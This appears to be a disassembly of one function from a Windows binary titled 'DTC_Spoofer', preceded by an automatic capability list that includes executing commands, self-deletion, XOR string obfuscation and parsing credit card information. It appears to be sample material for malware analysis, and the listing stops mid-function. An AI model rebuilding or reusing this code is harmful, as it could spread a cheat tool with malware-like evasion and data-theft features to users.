Function at 0x140053060
Capabilities:
Authenticate hmac
Create directory
Delete file
Encode data using xor
Execute command
Get session user name
Parse credit card information
Resolve function by parsing pe exports
Self delete
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov eax, 0xaf40
call fcn.1401dad70
sub rsp, rax
movaps xmmword [rsp + 0xaf30], xmm6
movaps xmmword [rsp + 0xaf20], xmm7
movaps xmmword [rsp + 0xaf10], xmm8
movaps xmmword [rsp + 0xaf00], xmm9
movaps xmmword [rsp + 0xaef0], xmm10
movaps xmmword [rsp + 0xaee0], xmm11
movaps xmmword [rsp + 0xaed0], xmm12
movaps xmmword [rsp + 0xaec0], xmm13
movaps xmmword [rsp + 0xaeb0], xmm14
movaps xmmword [rsp + 0xaea0], xmm15
lea rbp, [rsp + 0x80]
and rbp, 0xffffffffffffffe0
lea rdx, [0x140210e9a]
lea rcx, [rbp + 0x1a18]
call fcn.14003a6f0
lea rdx, str.Ethera_Dxkh_yu0W_AEub_iISS
mov rbx, rax
lea rcx, [rbp + 0x1a38]
call fcn.14003a6f0
xor r9d, r9d
mov byte [rsp + 0x28], 0
xor r8d, r8d
mov byte [rsp + 0x20], 1
mov rdx, rbx
mov rcx, rax
call fcn.140131e34
xor eax, eax
lea rdx, [0x1417191a0]
mov byte [rbp], al
movabs rcx, 0x390bddb1307ce28
mov byte [rbp], al
mov r8d, 0x40
mov byte [rbp], al
movabs rax, 0x34384e5ce9d76233
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
mov qword [rbp + 0x840], rax
mov qword [rbp + 0x148], rcx
mov rax, qword [rbp + 0x148]
mov qword [rbp + 0x848], rax
movabs rax, 0x345d3d328cb40b7f
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
mov qword [rbp + 0x148], rcx
lea rcx, [rbp + 0x840]
mov qword [rbp + 0x850], rax
mov rax, qword [rbp + 0x148]
mov qword [rbp + 0x858], rax
movdqa xmm0, xmmword [rbp + 0x850]
xorps xmm0, xmmword [rbp + 0x840]
movdqa xmmword [rbp + 0x840], xmm0
call fcn.140052f40
call fcn.140123f2c
lea rdx, [rbp + 0x150]
mov dword [rbp + 0x150], 0x101
lea rcx, [rbp + 0xab00]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea rdx, [rbp + 0xab00]
lea rcx, [rbp + 0x1a58]
call fcn.14003a6f0
xor r15d, r15d
mov dword [rbp + 0x54e0], 0x50
lea rax, [0x140081fd0]
mov dword [rbp + 0x54e4], 0x40
mov edx, 0x7f00
mov qword [rbp + 0x54e8], rax
xor ecx, ecx
mov dword [rbp + 0x54f0], r15d
mov dword [rbp + 0x54f4], r15d
mov qword [rbp + 0x54f8], r15
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x5500], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
lea r14, str.DTC_Spoofer
mov qword [rbp + 0x5510], r15
mov edx, 0x7f00
mov qword [rbp + 0x5508], rax
xor ecx, ecx
mov qword [rbp + 0x5518], r14
mov qword [rbp + 0x5520], r14
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x54e0]
mov qword [rbp + 0x5528], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
cvttss2si edi, dword [0x141715d44]
mov r13d, 1
mov ecx, r13d
cvttss2si esi, dword [0x141715d40]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
movss xmm0, dword [0x141715d44]
xor ecx, ecx
mulss xmm0, dword [0x14025d80c]
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si ebx, xmm1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x141715d40]
mov r9d, 0x80000000
mulss xmm0, dword [0x14025d80c]
cdq
mov qword [rsp + 0x58], r15
sub eax, edx
mov rdx, qword [rbp + 0x5520]
mov r8, r14
mov qword [rsp + 0x50], r15
xor ecx, ecx
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
sar eax, 1
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], ebx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
movdqa xmm0, xmmword [0x14025da40]
lea rdx, [rbp + 0x860]
mov rcx, rax
mov qword [0x141718fb0], rax
movdqu xmmword [rbp + 0x860], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x141718fb0]
lea rdx, [0x141718fb8]
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [0x141718fb8], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x141718fb0]
call fcn.140081dd0
test al, al
jne 0x1400533d1
call fcn.140081f00
mov rdx, qword [rbp + 0x54f8]
mov rcx, qword [rbp + 0x5520]
call qword [sym.imp.USER32.dll_UnregisterClassW]
jmp 0x14007c09c
mov rcx, qword [0x141718fb0]
mov edx, 0xa
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x141718fb0]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
lea rcx, str.1.90.0
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov edx, 0x38e8
mov r9d, 8
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov r8d, 0x464
call fcn.1400250d0
xor ecx, ecx
call fcn.140015420
call fcn.140017830
lea rcx, [rbp + 0x44c0]
mov qword [rbp + 0x148], rax
mov rdi, rax
or dword [rax], 3
call fcn.14004e1b0
lea rcx, [rbp + 0x7c70]
call fcn.140035500
lea rcx, [rbp + 0x7d00]
mov dword [rbp + 0x7cbc], 0x10c
call fcn.140035500
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.1400385b0
movss xmm3, dword [0x14025d8cc]
lea rdx, [0x14158d480]
mov qword [rsp + 0x28], rax
mov r8d, 0x26368
lea rax, [rbp + 0x7c70]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400360c0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.1400385b0
movss xmm6, dword [0x14025d8ec]
lea rdx, [0x1402904f0]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm6
lea rax, [rbp + 0x7c70]
mov r8d, 0x954
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400360c0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
mov qword [0x141718fe0], rax
call fcn.1400385b0
movss xmm7, dword [0x14025d8dc]
lea rdx, [0x140290e50]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm7
lea rax, [rbp + 0x7c70]
mov r8d, 0x875dc
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400360c0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.1400385b0
mov qword [rsp + 0x28], rax
lea rdx, [0x141631440]
lea rax, [rbp + 0x7c70]
movaps xmm3, xmm6
mov r8d, 0x28da8
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400360c0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
mov qword [0x141718fd0], rax
call fcn.1400385b0
movss xmm3, dword [0x14025d8c0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x7c70]
mov qword [rsp + 0x20], rax
mov r8d, 0x28da8
lea rdx, [0x141631440]
mov rcx, rbx
call fcn.1400360c0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
mov qword [0x141718fc8], rax
call fcn.1400385b0
mov qword [rsp + 0x28], rax
lea rdx, [0x141618d30]
lea rax, [rbp + 0x7c70]
movaps xmm3, xmm6
mov r8d, 0x13144
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400360c0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
mov qword [0x141718fd8], rax
call fcn.1400385b0
movss xmm3, dword [0x14025d8f8]
lea rdx, [0x141618d30]
mov qword [rsp + 0x28], rax
mov r8d, 0x13144
lea rax, [rbp + 0x7c70]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400360c0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.1400385b0
movss xmm3, dword [0x14025d8bc]
lea rdx, [0x141631440]
mov qword [rsp + 0x28], rax
mov r8d, 0x28da8
lea rax, [rbp + 0x7c70]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400360c0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.1400385b0
mov qword [rsp + 0x28], rax
lea rdx, [0x14031bbc0]
lea rax, [rbp + 0x7c70]
movaps xmm3, xmm7
mov r8d, 0xba80
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400360c0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.1400385b0
mov qword [rsp + 0x28], rax
lea rdx, [0x1416c93e0]
lea rax, [rbp + 0x7c70]
movaps xmm3, xmm7
mov r8d, 0x23218
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400360c0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.1400385b0
mov qword [rsp + 0x28], rax
lea rdx, [0x14162be80]
lea rax, [rbp + 0x7c70]
movaps xmm3, xmm7
mov r8d, 0x55b8
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400360c0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.1400385b0
mov qword [rsp + 0x28], rax
lea rdx, [0x1415b3c20]
lea rax, [rbp + 0x7c70]
movaps xmm3, xmm7
mov qword [rsp + 0x20], rax
mov r8d, 0x32cc
mov rcx, rbx
call fcn.1400360c0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.1400385b0
mov qword [rsp + 0x28], rax
lea rdx, [0x140318430]
lea rax, [rbp + 0x7c70]
movaps xmm3, xmm7
mov r8d, 0x2f68
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400360c0
movss xmm3, dword [0x14025d8d8]
lea rbx, [0x14025879c]
mov rcx, qword [rdi + 0x30]
lea rdx, [0x14021a6e0]
xor r14d, r14d
mov qword [rsp + 0x28], rbx
mov r8d, 0x3934b
mov qword [rsp + 0x20], r14
call fcn.140036280
movss xmm3, dword [0x14025d898]
lea rdx, [0x14021a6e0]
mov rcx, qword [rdi + 0x30]
mov r8d, 0x3934b
mov qword [rsp + 0x28], rbx
mov qword [rbp + 0x158], rax
mov qword [rsp + 0x20], r14
call fcn.140036280
mov rcx, qword [0x141718fb0]
mov qword [rbp + 0x160], rax
call fcn.14003ef90
mov rdx, qword [0x1417191f0]
mov rcx, qword [0x1417191e8]
call fcn.14003e9c0
movss xmm1, dword [0x14025d844]
lea rcx, [rbp + 0x870]
movss xmm3, dword [0x14025d814]
movss xmm2, dword [0x14025d810]
movss dword [rsp + 0x20], xmm1
movss xmm1, dword [0x14025d808]
call fcn.140010640
lea rcx, [rbp + 0x168]
mov dword [0x141718ff0], r13d
xor r12b, r12b
call fcn.1400427d0
xorps xmm14, xmm14
xorps xmm12, xmm12
call fcn.140013820
mov r15d, dword [reloc.WS2_32.dll_accept]
movdqa xmm10, xmmword [0x14025db50]
movdqa xmm13, xmmword [str.7777777777777777]
movdqa xmm9, xmmword [str.5555]
movdqa xmm8, xmmword [0x14025dcc0]
movdqa xmm11, xmmword [0x14025dad0]
movss xmm15, dword [0x14025d8f0]
movss xmm7, dword [0x14025d8e0]
lea rcx, [rbp + 0x3958]
movss xmm6, dword [0x14025da10]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], r13d
xor edx, edx
movabs rbx, 0x345d3d328cf75f3b
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140053901
lea rcx, [rbp + 0x3958]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x3958]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x3960], 0x12
lea rcx, [rbp + 0x3958]
movzx r12d, r12b
cmove r12d, r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x1400538b1
test r12b, r12b
jne 0x14007c062
call fcn.14003ecf0
call fcn.14003fbd0
call fcn.140018170
movss xmm2, dword [0x141715d44]
lea rcx, [rbp + 0x170]
movss xmm1, dword [0x141715d40]
call fcn.1400105e0
mov rcx, rax
xor edx, edx
call fcn.140021a80
xor eax, eax
movabs rcx, 0x390bddb1307ce28
mov byte [rbp], al
xor edx, edx
mov byte [rbp], al
mov r8d, 0x3002b
mov byte [rbp], al
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x880], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x888], rax
movabs rax, 0x345d3d328cb40b7f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x890], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x880]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x898], rax
movdqa xmm0, xmmword [rbp + 0x890]
xorps xmm0, xmmword [rbp + 0x880]
movdqa xmmword [rbp + 0x880], xmm0
call fcn.14001dff0
xorps xmm0, xmm0
mov byte [rbp + 0x7420], 0
xor eax, eax
lea rcx, [rbp + 0x178]
movups xmmword [rbp + 0x7421], xmm0
mov qword [rbp + 0x7491], rax
movups xmmword [rbp + 0x7431], xmm0
mov dword [rbp + 0x7499], eax
movups xmmword [rbp + 0x7441], xmm0
mov word [rbp + 0x749d], ax
movups xmmword [rbp + 0x7451], xmm0
mov byte [rbp + 0x749f], al
movups xmmword [rbp + 0x7461], xmm0
movups xmmword [rbp + 0x7471], xmm0
movups xmmword [rbp + 0x7481], xmm0
call fcn.1400216f0
lea rcx, [rbp + 0x180]
call fcn.140025a90
lea rcx, [rbp + 0x188]
call fcn.1400216f0
call fcn.140025a70
mov dword [rdi + 0xe50], r14d
call fcn.140052b70
movss xmm0, dword [0x14025d860]
comiss xmm0, dword [0x14171914c]
jbe 0x140053a89
call fcn.140017830
movss xmm2, dword [0x14171914c]
movaps xmm1, xmm6
movaps xmm0, xmm14
addss xmm2, dword [rax + 0x10]
movss dword [0x14171914c], xmm2
mulss xmm2, dword [0x14025d80c]
call fcn.140084150
jmp 0x140053a8c
movaps xmm0, xmm6
movss dword [0x141715cb4], xmm0
call fcn.140021b00
mov r14, rax
call fcn.140021b00
mov edx, reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x8a0]
mov r8d, edx
mov rsi, rax
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x141715d44]
lea rcx, [rbp + 0x190]
movss xmm1, dword [0x141715d40]
mov edi, eax
call fcn.1400105e0
movaps xmm2, xmm14
lea rcx, [rbp + 0x198]
movaps xmm1, xmm14
mov rbx, rax
call fcn.1400105e0
movss xmm0, dword [0x14025d8b8]
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
mov rdx, rax
movss dword [rsp + 0x20], xmm0
mov rcx, rsi
call fcn.140032c50
mov rcx, qword [0x141718fa0]
movss xmm0, dword [0x141715d40]
mulss xmm0, dword [0x14025d80c]
mov rax, qword [rcx + 0x4038]
movss xmm6, dword [0x141715cb4]
mov byte [rax + 0xc0], r13b
mov rax, qword [rcx + 0x4038]
lea rcx, [rbp + 0x8b0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x1a0], xmm0
movdqa xmm0, xmmword [0x14025dc80]
movups xmmword [rbp + 0x8b0], xmm0
mov dword [rbp + 0x1a4], 0
call fcn.140013390
movss dword [rsp + 0x38], xmm14
lea rcx, [rbp + 0x1a0]
xor esi, esi
mov dword [rbp + 0x1a8], 0
mov dword [rsp + 0x30], esi
lea r8, [rbp + 0x1a8]
mov qword [rsp + 0x28], rcx
lea rdx, [rbp + 0x1b0]
mov rcx, rbx
movss dword [rsp + 0x20], xmm6
mov r9d, eax
mov dword [rbp + 0x1ac], 0
mov dword [rbp + 0x1b0], 0
mov dword [rbp + 0x1b4], 0
call fcn.140034630
lea r8, [rbp + 0x1b8]
mov dword [rbp + 0x1b8], esi
xor edx, edx
mov dword [rbp + 0x1bc], esi
lea rcx, [rbp + 0x1c0]
mov dword [rbp + 0x1c0], 0x41200000
mov dword [rbp + 0x1c4], 0x41a00000
call fcn.1400219f0
mov rax, qword [0x141718fa0]
or dword [rax + 0x49e8], 0x40
mov dword [rax + 0x4a48], esi
movss xmm3, dword [rbp + 0x188]
movss xmm2, dword [rbp + 0x18c]
movaps xmm0, xmm3
addss xmm0, dword [0x14025d928]
addss xmm3, dword [0x14025d9f0]
movaps xmm1, xmm2
addss xmm1, dword [0x14025d91c]
movss dword [rbp + 0x1c8], xmm0
movss dword [rbp + 0x1d0], xmm3
movss dword [rbp + 0x1cc], xmm1
cmp dword [0x141718ff0], esi
addss xmm2, dword [0x14025d9c0]
movss dword [rbp + 0x1d4], xmm2
jne 0x140053ffe
mov rcx, qword [0x141718fd0]
call fcn.140021520
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x8c0]
mov r8d, edx
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm6, dword [0x14025d844]
lea rcx, [0x141719288]
movaps xmm1, xmm6
mov esi, eax
call fcn.140013860
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x8d0]
mov r8d, edx
mov edi, eax
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm1, dword [0x14025d978]
lea rcx, [rbp + 0x1d8]
movaps xmm2, xmm7
mov ebx, eax
call fcn.1400105e0
movabs rcx, 0x390bddb1307ce28
mov r9d, edi
mov r8d, ebx
movss xmm1, dword [rax]
movss xmm2, dword [rax + 4]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x345d3d328cf75f3b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x8e0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x8e8], rax
movabs rax, 0x345d3d328cb40b7f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x8f0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x8e0]
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x8e0]
mov qword [rbp + 0x8f8], rax
xorps xmm0, xmmword [rbp + 0x8f0]
movdqa xmmword [rbp + 0x8e0], xmm0
movss xmm0, dword [0x14025d7f0]
unpcklps xmm1, xmm2
movss dword [rsp + 0x28], xmm0
movq rdx, xmm1
mov dword [rsp + 0x20], esi
call fcn.1400454a0
call fcn.1400215c0
movss xmm2, dword [0x14025d8e8]
lea rcx, [rbp + 0x1e0]
movss xmm1, dword [0x14025d8fc]
call fcn.1400105e0
movss xmm2, dword [0x14025d918]
lea rcx, [rbp + 0x1e8]
movss xmm1, dword [0x14025d8fc]
call fcn.1400105e0
call fcn.140021b00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x667d5057f8c7722c
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1a80], rcx
movabs rax, 0x66fdd4a97672bf4d
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
mov r9d, 0xb4
mov rcx, qword [rbp + 0x10]
movabs rax, 0xa54ef19fde84437f
mov qword [rbp + 0x1a88], rcx
xor r8d, r8d
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x900]
mov rax, qword [rbp + 0x10]
mov edx, 0x64
mov qword [rbp + 0x1a90], rax
movabs rax, 0x1a9edca541b99739
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1a98], rax
movabs rax, 0x345d3d328cb40b7f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1aa0], rax
movabs rax, 0x390bddb1307ce28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1aa8], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ab0], rax
movabs rax, 0x1a9edca541b99752
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ab8], rax
vmovdqu ymm0, ymmword [rbp + 0x1aa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1a80]
vmovdqa ymmword [rbp + 0x1a80], ymm1
vzeroupper
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d914]
lea rcx, [rbp + 0x1f0]
movss xmm1, dword [0x14025d968]
mov ebx, eax
call fcn.1400105e0
movss xmm2, dword [0x14025d8b4]
lea rcx, [rbp + 0x1a80]
mov rdx, qword [0x141718fd8]
xor esi, esi
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x910]
mov edx, 0x46
mov rbx, rax
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm0, dword [0x14025d860]
lea r8, [rbp + 0x1d0]
movss dword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x1c8]
movss xmm0, dword [0x14025d87c]
mov r9d, eax
mov dword [rsp + 0x28], esi
mov rcx, rbx
movss dword [rsp + 0x20], xmm0
call fcn.140032b70
jmp 0x140054006
movss xmm6, dword [0x14025d844]
cmp dword [0x141718ff0], r13d
jne 0x1400545cc
mov rcx, qword [0x141718fd0]
call fcn.140021520
lea rdx, [0x141719288]
lea rcx, [rbp + 0x920]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x930]
mov r8d, edx
mov esi, eax
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
lea rdx, [0x141719288]
mov edi, eax
lea rcx, [rbp + 0x940]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm1, dword [0x14025d984]
lea rcx, [rbp + 0x1f8]
movaps xmm2, xmm15
mov ebx, eax
call fcn.1400105e0
movabs rcx, 0x390bddb1307ce28
mov r9d, edi
mov r8d, ebx
movss xmm1, dword [rax]
movss xmm2, dword [rax + 4]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x345d3d328cf75f3b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x950], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x958], rax
movabs rax, 0x345d3d328cb40b7f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x960], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x950]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x968], rax
movdqa xmm0, xmmword [rbp + 0x960]
xorps xmm0, xmmword [rbp + 0x950]
movdqa xmmword [rbp + 0x950], xmm0
movss xmm0, dword [0x14025d7f0]
unpcklps xmm1, xmm2
movss dword [rsp + 0x28], xmm0
movq rdx, xmm1
mov dword [rsp + 0x20], esi
call fcn.1400454a0
call fcn.1400215c0
movss xmm2, dword [0x14025d948]
lea rcx, [rbp + 0x200]
movss xmm1, dword [0x14025d94c]
call fcn.1400105e0
mov rcx, rax
call fcn.1400257f0
movss xmm2, dword [0x14025d8e8]
lea rcx, [rbp + 0x208]
movss xmm1, dword [0x14025d988]
call fcn.1400105e0
mov rdx, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5d317e12f8c77e35
mov qword [rbp + 0x10], rax
movabs rax, 0x41b0d8b34727a54b
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1ac0], rcx
mov qword [rbp + 0x10], rax
lea r8, [0x1417191a0]
mov rcx, qword [rbp + 0x10]
xor esi, esi
mov qword [rbp + 0x1ac8], rcx
movabs rax, 0xc62b99b291834364
mov qword [rbp + 0x10], rax
movabs rcx, 0x1a9edca541b99752
mov rax, qword [rbp + 0x10]
movabs rbx, 0x390bddb1307ce28
mov qword [rbp + 0x1ad0], rax
mov r9d, 0x40
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ad8], rax
movabs rax, 0x345d3d328cb40b7f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ae0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ae8], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1af0], rax
mov qword [rsp + 0x38], rsi
mov qword [rbp + 0x10], rcx
lea rcx, [0x140259f98]
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x30], rsi
mov qword [rbp + 0x1af8], rax
vmovdqu ymm0, ymmword [rbp + 0x1ae0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1ac0]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rdx
lea rdx, [rbp + 0x1ac0]
vmovdqa ymmword [rbp + 0x1ac0], ymm1
vzeroupper
call fcn.140049410
call fcn.140021b00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x46284e12e9df6a32
mov qword [rbp + 0x10], rax
movabs rax, 0x66f8defb7c73ee4d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x47c0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb546ebb98ad75c72
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x47c8], rcx
movabs rcx, 0x777b2961c6a3b316
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x47d0], rax
movabs rax, 0x6cecb9d661dff872
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x47d8], rax
movabs rax, 0xdf0ec3ccad5b451a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x47e0], rax
movabs rax, 0xe89cc281602ba2e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x47e8], rax
movabs rax, 0xad8909f8f27733db
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x47f0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x47f8], rax
movabs rax, 0x345d3d328cb40b7f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4800], rax
mov edx, 0xbe
mov qword [rbp + 0x10], rbx
mov r9d, edx
mov rax, qword [rbp + 0x10]
mov r8d, edx
mov qword [rbp + 0x4808], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4810], rax
movabs rax, 0x1a9edca541b99752
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4818], rax
movabs rax, 0xb068a6ae8d3e2673
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4820], rax
movabs rax, 0x67fda2477522df5c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4828], rax
movabs rax, 0xad8909f8f21246b5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4830], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x970]
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x4800]
vpxor ymm1, ymm0, ymmword [rbp + 0x47c0]
vmovdqu ymm0, ymmword [rbp + 0x47e0]
vmovdqa ymmword [rbp + 0x47c0], ymm1
mov qword [rbp + 0x4838], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x4820]
vmovdqa ymmword [rbp + 0x47e0], ymm1
mov dword [rsp + 0x20], 0xff
vzeroupper
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d964]
lea rcx, [rbp + 0x210]
movss xmm1, dword [0x14025d94c]
mov ebx, eax
call fcn.1400105e0
movss xmm2, dword [0x14025d8a8]
lea rcx, [rbp + 0x47c0]
mov rdx, qword [0x141718fd8]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
movss xmm2, dword [0x14025d97c]
